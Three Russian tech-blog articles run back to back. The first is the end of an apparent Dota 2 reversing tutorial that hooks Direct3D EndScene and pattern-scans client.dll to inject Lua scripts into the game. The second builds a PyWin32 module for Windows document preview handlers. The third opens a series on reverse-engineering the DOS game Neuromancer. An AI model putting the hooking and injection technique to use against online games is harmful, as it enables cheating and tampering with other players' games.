--[[ListenToGameEvent("dota_roshan_kill",roshan_kill,nil)]]
```
Данный скрипт обходит все сущности и выводит в соответствии с ее позицией координаты.
Объявим функцию, используя приведенную выше документацию и декомпилированный код из Рисунка 29.
```
typedef bool(*fDoIncludeScript)(const char*, unsigned long long);
```
Вызов функции.
```
HRESULT WINAPI EndSceneHook(IDirect3DDevice9* pd3dDevice) {
if (controller == nullptr) {
controller = new GameController();
controller->SetDevice(pd3dDevice);
fDoIncludeScript DoIncludeScript = (fDoIncludeScript)
scanner->FindPattern("client.dll",
"40 57 48 81 EC ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 48 8B F9 0F 84");
DoIncludeScript("silk_way", 0);
}
//...
}
```
После внедрения увидим информацию о позиции сущностей игры.
[](https://habrastorage.org/webt/en/x2/4l/enx24lrbff5j_6l0v4ydxhecm84.png)
*Рисунок 30 — Результат внедрения*
Теперь мы умеем запускать свои скрипты. Но они исполняются на Lua, а допустим, событие о том, что Рошан умер, нам нужно в C++ коде (так как на нем у нас написана основная логика), как быть? Придется аналогичным образом найти указатели на нужные функции (как мы это сделали для DoIncludeScript), функции движка и другой интересующий нас функционал при помощи Source SDK и Source2Gen. Но об этом в следующей части, где мы найдем указатель на список сущностей и напишем более приближенную к механике игры логику. Если же вам хочется все и сразу, можете попробовать, прилагаю для вас в качестве помощи [эту](https://github.com/LWSS/McDota), [эту](https://www.unknowncheats.me/wiki/Dota_2:Using_Engine_Functions), [эту](https://yougame.biz/threads/40401/) и [эту](https://www.unknowncheats.me/forum/other-mmorpg-and-strategy/282053-dota-2-doincludescript-entitylist-sdk.html) ссылки.
11. Заключение
--------------
В заключении я бы хотел сказать спасибо всем, кто делится своими наработками и знаниями в области реверса, передавая свой опыт другим. Говоря только о Dota 2 без [praydog](https://github.com/praydog) я бы убил массу времени, чтобы при помощи Cheat Engine получить структуру данных игры, причем сделанные наработки могли сломаться при любом залитом Valve обновлении. Обновления ломают как найденные статические указатели, так и изредка изменяют структуру сущностей. У [or75](https://github.com/or75) я увидел использование функции DoIncludeScript и с ее помощью показал пример вывода текста средствами игрового движка.
В погоне за простотой изложения я мог что-то пропустить, опустить различные случаи, которые посчитал недостойными внимания, либо наоборот, раздуть объяснение — если внимательный читатель найдет такие ошибки, буду рад их исправить и послушать замечания. Исходный код можно найти по [ссылке](https://github.com/CorvoOrc/SilkMemory).
Спасибо всем, кто потратил время на прочтение статьи. | https://habr.com/ru/post/446516/ | null | ru | null |
# Preview документов в программе на Python
В одной из систем, к которым я имею отношение, doc-файлы складываются в базу данных.
Мне стало интересно, можно ли пристроить в свою программку, работающую с базой, просмотр этих файлов.
Почему-то естественным решением подобных задач обычно считают запуск MSWord с именем файла в командной строке. Но этот способ, мягко говоря, не слишком безопасен — в doc-е могут быть макросы, или это может быть вообще не doc, а специально приготовленный взломщиком файл. Поэтому лучше использовать специальный объект просмотра, реализованный в Офисе. Он более защищен, так как ничего другого, кроме просмотра документа, делать не умеет.
А если мы не будем ограничиваться одним форматом doc, тогда в качестве бонуса получим возможность просмотра вложенных документов в других форматах, для которых в Windows зарегистрированы стандартные просмотрщики.
Забегая вперед — всё получилось с помощью PyWin32. Правда, неожиданно в процессе пришлось скомпилировать свой пакет для поддержки нужного COM-интерфейса, но обошлось без жертв.
Итак, что мы знаем.
1. Согласно [MSDN](https://msdn.microsoft.com/ru-ru/library/windows/desktop/cc144143(v=vs.85).aspx), в системе есть просмотрщики, реализующие стандартный интерфейс [IPreviewHandler](https://msdn.microsoft.com/ru-ru/library/windows/desktop/bb775315(v=vs.85).aspx), интерфейс описан в инклюднике Shobjidl.h
2. [Можно проверить](https://msdn.microsoft.com/ru-ru/library/windows/desktop/cc144144(v=vs.85).aspx), есть ли зарегистрированный просмотрщик в системе для конкретного расширения файла — если существует ветка *HKEY\_CLASSES\_ROOT\\Shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f}* (где "" — это расширение файла с точкой, т.е. "*.doc*", "*.pdf*", и так далее), и в ней есть дефолтное значение, то это значение — CLSID соответствующего компонента.
3. Все зарегистрированные просмотрщики перечислены в ветке реестра *HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PreviewHandlers*
Порядок работы:
4. Есть документ на диске.
5. По расширению файла находим CLSID, по нему создаем объект просмотрщика.
6. Объект инициализируем нашим файлом — либо по имени, либо потоком IStream — об этом позже.
7. Указываем объекту окно, в котором он должен отображаться, вызывая метод SetWindow — здесь нам нужен будет хэндл окна, но проблем нет, у виджетов Qt для этого есть метод winId().
8. Для запуска просмотра вызвать у объекта метод DoPrevew.
9. Если окно меняет размеры, то нужно вызывать SetRect для соответствующего изменения размера просмотра.
10. Когда просмотрщик больше не нужен — вызываем у него Unload
Надо выяснить, как проще всего в Python (я еще не сказал, что у меня [программа на питоне](https://habrahabr.ru/post/336478/)?) создать компонент по его CLSID.
На Stack Overflow советуют для таких вещей ставить [PyWin32](https://github.com/mhammond/pywin32). Ок, попробуем.
```
C:\>pip3 install pywin32
Collecting pywin32
Could not find a version that satisfies the requirement pywin32 (from versions: )
No matching distribution found for pywin32
```
Что за…? В смысле «не могу найти версию»?
Снова гуглю — ага, инсталлировать надо «pypiwin32», ибо, как [сказано](https://mail.python.org/pipermail/python-win32/2016-October/013786.html):
> Pypiwin32 is a repackaging of pywin32 to use sane packaging tools (namely
>
> wheels). Its repackaged by the BDFL of the Twisted project. If you use
>
> pip, or virtualenvs (and you should be using pip and virtualenvs, if you are
>
> not, start), use pypiwin32.
>
>
```
C:\>pip3 install pypiwin32
```
Уф, поставилось. Большое дело сделали!
Теперь надо проверить, пишу небольшой скрипт:
```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import pythoncom
import pywintypes
adobe = pywintypes.IID('{DC6EFB56-9CFA-464D-8880-44885D7DC193}')
CLSID_IPreviewHandler = '{8895B1C6-B41F-4C1C-A562-0D564250836F}'
iid = pywintypes.IID(CLSID_IPreviewHandler)
handler = pythoncom.CoCreateInstance(
adobe, None,
pythoncom.CLSCTX_LOCAL_SERVER,
iid)
print(handler)
```
Здесь создается один из просмотрщиков, имеющихся в системе, конкретно для Adobe pdf. Просто создается, без дальнейших действий. Если заработает, то потом можно подергать его методы.
Запускаю и получаю ту самую неожиданность
```
Traceback (most recent call last):
File "C:\Projects\pytest\w1.py", line 19, in
iid)
TypeError: There is no interface object registered that supports this IID
```
То есть создать-то просмотрщик он создал, но вернуть не смог — нет, видите ли, у него зарегистрированного интерфейсного объекта, который поддерживает энтот IID.
В чем-то я с ним согласен — питону нужно знать, какие у созданного COM-объекта есть методы, чтобы позволить их вызывать из питоновского скрипта. Такую информацию предоставляет интерфейс IDispatch, но в данном объекте его нет…
Так что же делать? Погуглив по тексту сообщения об ошибке, нахожу [ответ разработчика пакета](https://groups.google.com/d/msg/comp.lang.python/GsmcdeJIxeI/RAP8c7A6eycJ) Mark Hammond:
> *>The document PythonCOM.html says that this is done using a «pyd» module that
>
> >is imported. Does this mean that for every interface that is accessed in
>
> >this manner a C or C++ module must be created specifically for that
>
> >interface?*
>
>
>
> Exactly. Note however that many useful objects use the «IDispatch»
>
> interface, but for custom objects that dont, this is true.
>
>
>
> *> If this is needed, is there somewhere that I can see an example
>
> >of the code for that module? If not, how do I tell Python about the
>
> >interface object associated with the IID?*
>
>
>
> There are a number of examples in the win32com sources. The most
>
> recent set are in the «internet» and «axcontrols» directory.
>
>
>
> Also note that there are 2 options for generating the C code. One
>
> is to use «makegw» that comes with win32com — it takes a .h file
>
> that has geen itself generated from an IDL file, and create C source
>
> code. But its not very flexible. There is also SWIG, which is far
>
> more flexible, but probably a much higher learning curve to set up.
>
> If the interfaces are small, and in a .H file generated from an IDL,
>
> then check out «makegw» and the samples I mentioned (which
>
> themselves where generated with makepy)
Короче, предлагает покодить на старом, добром C. Инклюдники, компилятор, линкер — вот это всё, которое, уходя на Python, я хотел избежать. А примеры предлагает взять из исходников пакета. Исходники я скачал, потом пригодились.
И два варианта сборки
* «makegw», входящий в пакет
* [SWIG](https://ru.wikipedia.org/wiki/SWIG), который круче.
Про SWIG нашлась статья на хабре "[Python, Модули, SWIG, Windows](https://habrahabr.ru/post/139790/)" [mclander](https://habrahabr.ru/users/mclander/), где вроде всё хорошо, легко и здорово. Скачал я этот SWIG, попробовал с ним разобраться — с налета не вышло, а с makegw получилось.
makegw — это модуль с фактически одной функцией, которую нужно запустить с нужными параметрами — путь к исходном инклюднику, в данном случае ShObjIdl.h из Windows SDK, и нужный интерфейс, поэтому я написал скриптик.
`mk.py`
```
import win32com.makegw.makegw
inc = "C:/Program Files (x86)/Windows Kits/10/Include/10.0.14393.0/um/"
h = inc + "ShObjIdl.h"
win32com.makegw.makegw.make_framework_support(h, "IPreviewHandler")
```
Скрипт отработал, получились два файла PyIPreviewHandler.cpp и PyIPreviewHandler.h. Заглянув в сишник, вижу такую картину:
```
// *** The input argument hwnd of type "__RPC__in HWND" was not processed ***
// Please check the conversion function is appropriate and exists!
__RPC__in HWND hwnd;
PyObject *obhwnd;
// @pyparm |hwnd||Description for hwnd
```
```
// *** The input argument prc of type "__RPC__in const RECT *" was not processed ***
// Please check the conversion function is appropriate and exists!
__RPC__in const RECT prc;
PyObject *obprc;
// @pyparm |prc||Description for prc
```
То есть makegw не смог, да и не пытался разобраться, что означают конструкции "\_\_RPC\_\_in HWND", "\_\_RPC\_\_in const RECT \*" и так далее. О чем и предупредил.
Пытаться это скомпилировать это было глупо, править руками тоже не хотелось, поэтому я попытался обойти проблему — заменить эти конструкции на односложные эквиваленты.
Взял ShObjIdl.h, выдрал из него описание интерфейса IPreviewHandler в отдельный файл, поменял типы у параметров.
**preview.h**
```
#include "rpc.h"
#include "rpcndr.h"
#include "windows.h"
#include "ole2.h"
//#define __RPC__in
#ifndef __IPreviewHandler_INTERFACE_DEFINED__
#define __IPreviewHandler_INTERFACE_DEFINED__
/* interface IPreviewHandler */
/* [uuid][object] */
#include "prtypes.h"
EXTERN_C const IID IID_IPreviewHandler;
MIDL_INTERFACE("8895b1c6-b41f-4c1c-a562-0d564250836f")
IPreviewHandler : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE SetWindow(
/* [in] */ HWND hwnd,
/* [in] */ CRECTPTR prc) = 0;
virtual HRESULT STDMETHODCALLTYPE SetRect(
/* [in] */ CRECTPTR prc) = 0;
virtual HRESULT STDMETHODCALLTYPE DoPreview( void) = 0;
virtual HRESULT STDMETHODCALLTYPE Unload( void) = 0;
virtual HRESULT STDMETHODCALLTYPE SetFocus( void) = 0;
virtual HRESULT STDMETHODCALLTYPE QueryFocus(
/* [out] */ HWNDPTR phwnd) = 0;
virtual HRESULT STDMETHODCALLTYPE TranslateAccelerator(
/* [in] */ MSGPTR pmsg) = 0;
};
#endif
```
Новые типы описал в отдельном файле
`prtypes.h`
```
typedef const RECT *CRECTPTR;
typedef const MSG *CMSGPTR;
typedef MSG *MSGPTR;
typedef HWND *HWNDPTR;
```
Соответственно, в скрипте поменял имя инклюдника. Заодно отключил генерацию объекта-шлюза — дело в том, что я собираюсь получать реализованный интерфейс из внешней библиотеки, а не создавать его в питоне, поэтому шлюз, отвечающий за генерацию мне не нужен.
`mk.py`
```
import win32com.makegw.makegw
win32com.makegw.makegw.make_framework_support("preview.h", "IPreviewHandler", bMakeGateway = 0)
```
Запустил
```
C:\Projects\pytest>python mk.py
IPreviewHandler
```
Так, теперь собрать надо пакет. Покурив документацию на Python, выясняю ([здесь](https://docs.python.org/3.6/extending/building.html) и [здесь](https://docs.python.org/3.6/distutils/setupscript.html)), что для сборки необходимо и достаточно сделать скрипт setup.py. Вы-то, наверное и так знали, а у меня это первый раз, в смысле сборка пакета. Делаем, чё.
```
#!/usr/bin/env python
from distutils.core import setup, Extension
pypacks = "C:/Python/Lib/site-packages/"
wdkinc = "C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.14393.0\\"
wdklib = "C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.14393.0\\"
pywinsrc = "C:/Projects/Source/pywin32-221/"
example_module = Extension('_preview',
sources=['PyIPreviewHandler.cpp','prtypes.cpp'],
include_dirs=[wdkinc + "ucrt",
pywinsrc + "com/win32comext/shell/src",
pypacks + "win32/include",
pypacks + "win32com/include"],
library_dirs=[wdklib + "ucrt\\x86",
pypacks + "win32/libs",
pypacks + "win32com/libs"]
)
setup (name = 'preview',
version = '0.1',
author = "My",
description = """Simple swig example from docs""",
ext_modules = [example_module],
py_modules = ["preview"],
)
```
У меня уже стояли на машине Windows SDK (точнее, WDK, но не принципиально) и Visual Studio Community 2017, было интересно, найдет ли их setup.py. Компилятор сам нашел, а пути к SDK пришлось указывать.
```
C:\Projects\pytest>python.exe setup.py build_ext --inplace >err.txt
error: command 'D:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\BIN\\cl.exe' failed with exit status 2
```
Разумеется, не собралось, впрочем, я и не ожидал, что соберется с первого раза. Ошибки понятные:
`PyIPreviewHandler.cpp(46): error C3861: 'PyObject_AsCRECTPTR': identifier not found`
Раньше я определил новые типы данных, а теперь нужны функции преобразования данных этих типов из объектов питона в С и наоборот. Поискав среди исходников PyWin32, нашел внутри функции PyObject\_AsRECT, PyObject\_FromRECT и так далее — словом, все что нужно. Пришлось поправить сгенеренный сишник, чтобы использовать эти функции.
Было:
```
CRECTPTR prc;
PyObject *obprc;
...
if (bPythonIsHappy && !PyObject_AsCRECTPTR( obprc, &prc )) bPythonIsHappy = FALSE;
...
PyObject_FreeCRECTPTR(prc);
```
Стало:
```
RECT prc;
PyObject *obprc;
...
if (bPythonIsHappy && !PyObject_AsRECT( obprc, &prc )) bPythonIsHappy = FALSE;
...
//PyObject_FreeCRECTPTR(prc);
```
И так далее, благо методов у IPreviewHandler не так много. Однако функции преобразования пришлось вытащить из исходников и вставить в свой файл prtypes.cpp, потому что они в PyWin32 не вынесены в библиотеку.
**prtypes.cpp**
```
#include "shell_pch.h"
#include "prtypes.h"
BOOL PyObject_AsMSG( PyObject *obpmsg, MSG *msg )
{
PyObject *obhwnd;
return PyArg_ParseTuple(obpmsg, "Oiiii(ii)", &obhwnd,&msg->message,&msg->wParam,&msg->lParam,&msg->time,&msg->pt.x,&msg->pt.y)
&& PyWinObject_AsHANDLE(obhwnd, (HANDLE *)&msg->hwnd);
}
PyObject *PyObject_FromMSG(const MSG *msg)
{
if (!msg) {
Py_INCREF(Py_None);
return Py_None;
}
return Py_BuildValue("Niiii(ii)", PyWinLong_FromHANDLE(msg->hwnd),msg->message,msg->wParam,msg->lParam,msg->time,msg->pt.x,msg->pt.y);
}
BOOL PyObject_AsRECT( PyObject *ob, RECT *r)
{
return PyArg_ParseTuple(ob, "iiii", &r->left, &r->top, &r->right, &r->bottom);
}
PyObject *PyObject_FromRECT(const RECT *r)
{
if (!r) {
Py_INCREF(Py_None);
return Py_None;
}
return Py_BuildValue("iiii", r->left, r->top, r->right, r->bottom);
}
```
Зато теперь компилируется без обращения к исходникам. Компилируется, но не собирается.
```
LINK : error LNK2001: unresolved external symbol PyInit__preview
build\temp.win32-3.6\Release\_preview.cp36-win32.lib : fatal error LNK1120: 1 unresolved externals
```
Такое чувство, что тебе что-то недорассказали. `PyInit_xxx` похоже на стандартное имя для инициализации модуля, вопрос только, что в нем должно быть, как зарегистрировать интерфейс. Пришлось снова распутывать исходники PyWin32 и выяснять, что нужно для полной сборки. По аналогии с найденными функциями PyInit\_xxx добавил свою.
```
#include "PythonCOMRegister.h" // For simpler registration of IIDs
...
// Методы пакета не определяем
static struct PyMethodDef preview_methods[] = {{NULL}};
PyObject *PyInit__preview(void)
{
static PyModuleDef _preview_def = {
PyModuleDef_HEAD_INIT,
"_previewer",
"Preview Handler Interface",
-1,
preview_methods
};
PyObject *module=PyModule_Create(&_preview_def);
// Регистрируем интерфейс
PyCom_RegisterClientType(&PyIPreviewHandler::type, &IID_IPreviewHandler);
return module;
}
```
Теперь собрался файл `_preview.cp36-win32.pyd` (и тут Штирлиц догадался, что подчеркивание было лишним). Инсталлируем получившийся пакет.
```
C:\Projects\pytest>python.exe setup.py install
```
Проверяю — в том же тестовом скрипте после импортов лишь добавляю `import _preview`
**весь скрипт**
```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import pythoncom
import pywintypes
import _preview
adobe = pywintypes.IID('{DC6EFB56-9CFA-464D-8880-44885D7DC193}')
CLSID_IPreviewHandler = '{8895B1C6-B41F-4C1C-A562-0D564250836F}'
iid = pywintypes.IID(CLSID_IPreviewHandler)
handler = pythoncom.CoCreateInstance(
adobe, None,
pythoncom.CLSCTX_LOCAL_SERVER,
iid)
print(handler)
```
Запускаю и получаю:
```
C:\Projects\Python\test>python wincom.py
```
Однако, работает, объект создался.
Осталось использовать изделие по назначению. Чтобы проверить на разных форматах документов, я написал скрипт с использованием QFileSystemModel и QTreeView из PyQt5, т.е. слева у меня будет дерево файловой системы, а справа — preview выбранного файла.
Скрипт ниже. Он достаточно простой, чтобы его разбирать построчно, лишь скажу, что в отличие от многих примеров в инете по использованию IPreviewHandler, я не считываю файл в память, а либо открываю его напрямую просмотрщиком через интерфейс IInitializeWithFile (если он есть), либо создаю поток стандартной WinAPI функцией [SHCreateStreamOnFileEx](https://msdn.microsoft.com/ru-ru/library/windows/desktop/bb759866(v=vs.85).aspx) (она, оказывается, тоже поддерживается PyWin32) и передаю этот поток интерфейсу IInitializeWithStream — какой-то из двух интерфейсов у каждого просмотрщика есть обязательно.
**filepreview.py**
```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import pythoncom, win32comext
import win32comext.propsys.propsys as propsys
import win32comext.shell.shell as shellext
import pywintypes
import _preview
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
CLSID_IPreviewHandler = '{8895B1C6-B41F-4C1C-A562-0D564250836F}'
iid = pywintypes.IID(CLSID_IPreviewHandler)
class PreviewWin(QWidget):
def __init__(self, parent=None):
super().__init__(parent)
self.handler = None
self.isFirst = True
self.topLay = QHBoxLayout(self)
self.splitter = QSplitter(self)
self.topLay.addWidget(self.splitter)
self.model = QFileSystemModel(self)
self.model.setRootPath(QDir.currentPath())
self.tree = QTreeView(self.splitter)
self.tree.setModel(self.model)
cur = self.model.index(QDir.currentPath())
self.tree.setCurrentIndex(cur)
self.tree.expand(cur)
self.view = QWidget()
self.splitter.addWidget(self.tree)
self.splitter.addWidget(self.view)
self.tree.clicked.connect(self.previewIndex)
self.tree.setColumnWidth(0, 200)
self.setWindowState(Qt.WindowMaximized)
def resizeEvent(self, event):
super().resizeEvent(event)
if self.handler:
self.handler.SetRect(self.view.rect().getRect());
def previewIndex(self, index):
try:
if self.handler:
self.handler.Unload()
self.handler = None
if not index.isValid():
return
filePath = QDir.toNativeSeparators(self.model.filePath(index))
ext = self.model.fileInfo(index).suffix()
regPath = "HKEY_CLASSES_ROOT\\." + ext + "\\shellex\\" + CLSID_IPreviewHandler
sets = QSettings(regPath, QSettings.NativeFormat)
if not sets.contains("."):
return
classId = sets.value(".")
if not classId:
return
self.handler = pythoncom.CoCreateInstance(classId, None, pythoncom.CLSCTX_LOCAL_SERVER, iid)
if not self.handler:
return
STGM_READ = 0
try:
iwfile = self.handler.QueryInterface(propsys.IID_IInitializeWithFile)
except:
iwfile = None
if iwfile:
try:
iwfile.Initialize(filePath, STGM_READ)
except:
iwfile = None
if not iwfile:
try:
iwstream = self.handler.QueryInterface(propsys.IID_IInitializeWithStream)
except:
print(str(sys.exc_info()[1]))
iwstream = None
if iwstream:
iis = shellext.SHCreateStreamOnFileEx(filePath,STGM_READ,0,False)
if iis:
iwstream.Initialize(iis, STGM_READ)
else:
return
else:
print("Can't initialize preview for",filePath)
return
r = self.view.rect().getRect()
self.handler.SetWindow(self.view.winId(), r);
self.handler.DoPreview();
self.handler.SetFocus();
except:
print(str(sys.exc_info()[1]))
if __name__ == '__main__':
import sys
app = QApplication(sys.argv)
w = PreviewWin()
w.show()
sys.exit(app.exec_())
```
Все файлы [сложены на Github](https://github.com/sshmakov/preview). | https://habr.com/ru/post/344086/ | null | ru | null |
# Реверсим «Нейроманта». Часть 1: Спрайты
Так вышло, что я большой поклонник творчества [Уильяма Гибсона](https://en.wikipedia.org/wiki/William_Gibson). Моё знакомство с этим замечательным прозаиком случилось вследствие глубокого увлечения эстетикой *киберпанка* и последующего обращения к "корням" жанра, отцом-основателям которого считают Гибсона (пусть сам он от этого всячески открещивается). Трилогией "[*Киберпространство*](https://en.wikipedia.org/wiki/Sprawl_trilogy)" (*Sprawl trilogy, 1984-1988*), а именно открывающим трилогию романом "*Нейромант*" (*Neuromancer, 1984*), Гибсон популяризовал идеи киберпространства, виртуальной реальности и всемирной компьютерной сети (непосредственно термин "киберпространство" был изобретён самим же автором и впервые ведён в рассказе "*Сожжение Хром*" (*Burning Chrome, 1982*), однако широкое распространение термин получил лишь после публикации "*Нейроманта*"). Помимо очевидного влияния на поп-культуру (*Sonic Youth*, *U2*, *Ghost in the Shell*, *The Matrix*, *Deus Ex*, *Shadowrun* и ещё множество тайтлов, так или иначе испытавших влияние автора), существует мнение о менее очевидном влиянии Гибсона на сферу *информационных технологий*. В предисловии к юбилейному изданию "*Нейроманта*" американский писатель-фантаст Джек Уомак задаётся вопросом:
> *Может ли быть так, что видение Гибсоном глобального информационного пространства в конечном счёте стало причиной, по которой Интернет сегодня выглядит так, как он выглядит, и работает так, как он работает?*
Я склоняюсь к положительному ответу на этот вопрос.
Об игронизации "*Нейроманта*" я узнал в самом начале своего знакомства с личностью Гибсона. Одноимённая [*видеоигра*](https://en.wikipedia.org/wiki/Neuromancer_(video_game)) была разработана студией *Interplay Productions* (*Wasteland*, *Fallout*) и издана команией *Mediagenic* (сейчас известна как *Activision*) в 1988 году на платформах *Amiga*, *Apple II*, *Apple IIGS*, *Commodore 64* и *MS-DOS*. В своё время игра была тепло принята прессой и игровым сообществом, а 1996 году была включена журналом *Computer Game Magazine* в список 150 лучших видеоигр всех времён. Навязчивая идея — "*портировать эту игру на Win64*", возникла в моей голове во время очередного запуска "*Нейроманта*" под *DosBox-ом*. Получив первые результаты от её воплощения, я решил задокументировать свои действия в виде статьи (в будущем, надеюсь, цикла статей), которую вы видите перед собой.
Не думаю, что смогу довести эту работу до конца. Однако, на данный момент, я намерен продолжать, поскольку для меня это:
* идеальная площадка для тренировки навыков реверс-инжиниринга
* отличная возможность повысить уровень владения Ассемблером
* насколько трудоёмкий, настолько же затягивающий и увлекательный процесс
Надеюсь, мой опыт тем или иным образом окажется вам полезен. В конце концов, учитывая содержание оригинала, не находите ли вы сам процесс реверс-инжиниринга "*Нейроманта*" несколько ироничным? :)
---
Попавший ко мне дистрибутив "*Нейроманта*" включает один 16-битный экзешник формата *MZ* — `NEURO.EXE`, и два бинарника — `NEURO1.DAT` и `NEURO2.DAT` (вероятно — ресурсы). Загрузив "пациента" в *IDA* сразу получил предупреждение "*Possibly packed file*" с последующим `sp-analysis failed` — явное свидетельство того, что файл либо сжат, либо зашифрован, либо и то и другое. Но скорее первое. В эпоху борьбы за каждый байт дискового пространства, сжатие — необходимость. За несколько минут нагуглил досовскую утилиту *UNP*. Прогнав через неё экзешник, подтвердил свою гипотезу о сжатии:
```
> С:\UNP411\UNP.EXE C:\NEURO\NEURO.EXE
UNP 4.11 Executable file restore utility, written by Ben Castricum, 05/30/95
processing file : C:\NEURO\NEURO.EXE
DOS file size : 94921
file-structure : executable (EXE)
EXE part sizes : header 512, image 94409, overlay 0 bytes
processed with : EXEPACK V4.05 or V4.06
action : decompressing... done
new file size : 313376
writing to file : C:\NEURO\NEURO.EXE
```
Первый слой "льда" пробит, и теперь *IDA* отрабатывает молча и без ошибок.
---
[](https://habrastorage.org/webt/4y/xs/c5/4yxsc5gzyrlxbfyega7jajpgpak.png) Смотрю, с чем я имею дело. *[**ФЛЭШФОРВАРД:** тогда я не задумывался о том, что для поверхностного изучения можно воспользоваться программами визуализации бинарных файлов. Опробовав их сейчас, я понимаю, что мог бы сэкономить себе кучу времени. По распакованному экзешнику сервис [*binvis.io*](http://binvis.io/) рисует картину, которую вы видите слева (изображение кликабельно).]*
Быстро пробежавшись по *IDA* прикидываю, что непосредственно код занимает примерно 1/5 от общего объёма (~64k, верхняя часть на изображении). По коду регулярно встречаются системные вызовы *MS-DOS* (`int 21`) и вызовы различных стандартных *Сишных* функций. В сегменте данных обнаруживаю большое количество читабельных строк (голубые сектора в нижней части). Подавляющую часть бинарника занимают нули (чёрные сектора) — скорее всего, статически выделенные рабочие массивы и структуры.
В целом всё круто! Учитвыая распознанные системные и библиотечные вызовы, многие из которых связаны с файловым вводом-выводом — решил для начала пореверсить систему управления ресурсами.
---
Трассируя процедуры, открывающие файловые дескрипторы, я наткнулся на функцию, которая оказалась ключом к пониманию структуры `.DAT`-файлов игры. *[Обфусцированный продукт дизассемблирования далеко не самая приятная, на вид, вещь, но, всё-же, иногда я буду сопровождать свои слова кодом]*. Функция определяет номер, открывает дескриптор (`_dos_open`) и устанавливает смещение чтения/записи (`lseek`) файла содержащего ресурс, имя которого передаётся функции в виде указателя на нуль-терминированную строку. Посмотрим на одну из, ведущих к этой функции (`locate_resource_in_dat`), цепочек вызовов:
```
...
mov ax, 4CD2h
push ds
push ax
mov ax, 505Eh
push ax ; resource_name
call sub_127DA ; sub_127DA(char *resource_name, void *, void *)
...
sub_127DA proc:
...
arg_0 = word ptr 4 ; resource_name
arg_2 = word ptr 6
arg_4 = word ptr 8
push bp
mov bp, sp
sub sp, 6
...
push [bp+arg_0] ; resource_name
call locate_resource_in_dat ; locate_resource_in_dat(char *resource_name)
...
```
В сегменте данных, по адресу `0x505E` лежит строка:
```
dseg:505E aConfigNmc db 'config.nmc',0
```
Принадлежность ресурса к конкретному `.DAT`-файлу определяется внутри функции `locate_resource_in_dat`, путём сравнения этой статической строки (`sub_127DA("config.nmc", ...)`) со строками, расположенными в сегменте данных через каждые 22 (`0x16`) байта, начиная с явно заданных адресов. Вот, что находится по однному из них:
```
dseg:00A2 db 'R1.BIH', 0
dseg:00A9 db 0
dseg:00AA db 0
dseg:00AB db 0
dseg:00AC db 0
dseg:00AD db 0
dseg:00AE db 0
dseg:00AF db 0
dseg:00B0 db 0
dseg:00B1 db 0
dseg:00B2 db 0
dseg:00B3 db 0
dseg:00B4 db 0EEh
dseg:00B5 db 5
dseg:00B6 db 0
dseg:00B7 db 0
dseg:00B8 db 'R1.PIC', 0
dseg:00BF db 0
dseg:00C0 db 0
dseg:00C1 db 0
dseg:00C2 db 0
dseg:00C3 db 0
dseg:00C4 db 0
dseg:00C5 db 0
dseg:00C6 db 0EEh
dseg:00C7 db 5
dseg:00C8 db 0
dseg:00C9 db 0
dseg:00CA db 046h
dseg:00CB db 013h
dseg:00CC db 0
dseg:00CD db 0
dseg:00CE db 'R1.ANH', 0
...
```
Это выглядит как массив структур вида:
```
struct resource_t
{
char name[14]; // имя ресурса
int offset; // смещение от начала файла
int size; // байтовый размер ресурса
};
struct resource_t resources[] = {
{ "R1.BIH", 0, 0x5EE },
{ "R1.PIC", 0x5EE, 0x1346 },
...
};
```
Таких массивов оказалось два. По одному на `.DAT`-файл. Они расположены по адресам `0xA2` и `0x81C` и состоят из 87 и 151 элемента соответсвенно. Всего я насчитал 8 различных типов ресурсов (по расширениям в именах): `.BIH`, `.PIC`, `.ANH`, `.BIN`, `.IMH`, `.NMC`, `.TXH`, `.SAV`. Имена с расширениями `.NMC` и `.SAV` встречаются лишь однажды и говорят сами за себя: `CONFIG.NMC` и `SAVEGAME.SAV`. Говорящие имена также у ресов с расширением `.IMH`: `CURSORS.IMH`, `SPRITES.IMH`, `TITLE.IMH` и др. С остальными не так очевидно. Есть предположение, что `.TXH` — это текст, а `.PIC` — изображения. *[Сейчас я практически уверен в том, что в `.PIC` хранятся задники локаций]*. Содержание остальных типов пока неизвестно.
---
Гуляя по коду под отладчиком, случайно разобрался с назначением `.BIN`-ресурсов. А началось всё с того, что в листинге я не нашёл места, в котором бы инициализировался 256-цветный режим *VGA* (*mode 0x13*). Однако вывод отладчика в *DosBox* показывал, что, и, примерно, когда это происходит:
```
43597504: INT10:Set Video Mode 13
43597504: VGA:Blinking 0
```
Потрассировав программу до этого момента я выяснил, что код, непосредственно выполняющий эти действия, загружается в память из ресурса `TVGA.BIN`, а программа просто делает `call` по адресу, в который тот загружен. Таким образом `.BIN`-ы содержат некий, динамически подгружаемый, скомпилированный код. Что-то вроде динамических библиотек, но не совсем. И пока не понятно, почему это было сделано именно так. *[Так я думал, пока не обсудил это с человеком, практиковавшим в те времена. Оказалось, что это вполне стандартный, для Доса, подход, повсеместно применявшийся для сокращения объёма исполняеых файлов.]*
---
Хотелось получить какой-нибудь осязаемый результат. Решил попробовать раскрутить формат `.IMH`, ведь судя по именам с таким расширением (`SPRITES.IMH`) — это графика. Из всех ресурсов этого типа, выбрал один минимального размера и сохранил в отдельный файл:
```
CURSORS.IMH: 243 байта
0x0000: 0001 0203 0400 060D 0009 0A0B 0000 000F
0x0010: 0001 0203 0405 080B 0809 0A0B 0C0D 0E0F
0x0020: 3F01 0000 0440 7EEC D0C2 2D0A 46A3 3FF2
0x0030: 7111 6230 640E 104C E0C5 8505 FCFF 5001
0x0040: 04C0 260F E2C0 85C2 5017 FA05 54B0 6C2D
0x0050: 7413 E9C7 451D D8B6 2C18 E714 7B8B D79B
0x0060: BBE5 EB60 4D2F EF70 3A1E 42FE D9C0 5DC0
0x0070: EBCD EE07 B9BF 821C 0141 BB15 360B 743A
0x0080: 4BC8 749E 45D7 5B26 63F4 24E9 DAEA 5CC6
0x0090: E859 D793 41F7 94DF B7AC 4DB7 EFC2 CC4F
